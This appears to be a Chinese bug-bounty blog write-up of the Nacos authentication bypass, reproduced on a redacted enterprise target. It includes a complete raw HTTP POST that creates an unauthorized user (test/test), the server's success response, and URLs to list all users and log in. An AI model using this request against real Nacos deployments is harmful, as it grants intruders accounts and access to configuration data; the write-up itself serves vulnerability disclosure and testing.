又到了我的日常水文时间,正好最近学了个新洞,遂记录一下。
0x00漏洞背景
nacos的认证绕过安全漏洞,在nacos开启了鉴权后,依然能绕过鉴权访问任何http接口。
调用任何接口,通过该漏洞,我们可以绕过鉴权,做到:
调用添加用户接口,添加新用户,然后使用新添加的用户登录console,访问、修改、添加数据。
0x01漏洞详情
下面这个文章原理以及代码讲的很清楚,想要深入了解的同学可以看一看。
https://javazhiyin.blog.csdn.net/article/details/112791481 阿里 Nacos 惊爆,安全漏洞以绕过身份验证(附修复建议)
0x02漏洞影响范围
0x03漏洞实战复现(某企业SRC)
前天心血来潮在整理某SRC资产的时候,突然发现这样一个熟悉的登陆系统
看到这个系统,突然想起了上次爆出的
于是抱着试试的想法,根据漏洞文章复现了一下,
首先,对以下接口进行post请求,即可绕过权限认证,创建一个以test为用户名,test为密码的用户
/nacos/v1/auth/users?username=test&password=test
POST /nacos/v1/auth/users?username=test&password=test HTTP/1.1
Host: xxxxxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflateConnection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
返回包为
{
"code":200,
"message":"create user ok!",
"data":null
}
即成功创建了用户
在利用以下接口,即可查看该系统全部用户
/nacos/v1/auth/users?pageNo=1&pageSize=999
访问
http://xxxxxx.com/nacos/v1/auth/users?pageNo=1&pageSize=999
可以看到返回包中出现了刚刚创建的test用户
接下来访问登录界面登录即可
http://xxxxxx.com/nacos/#/login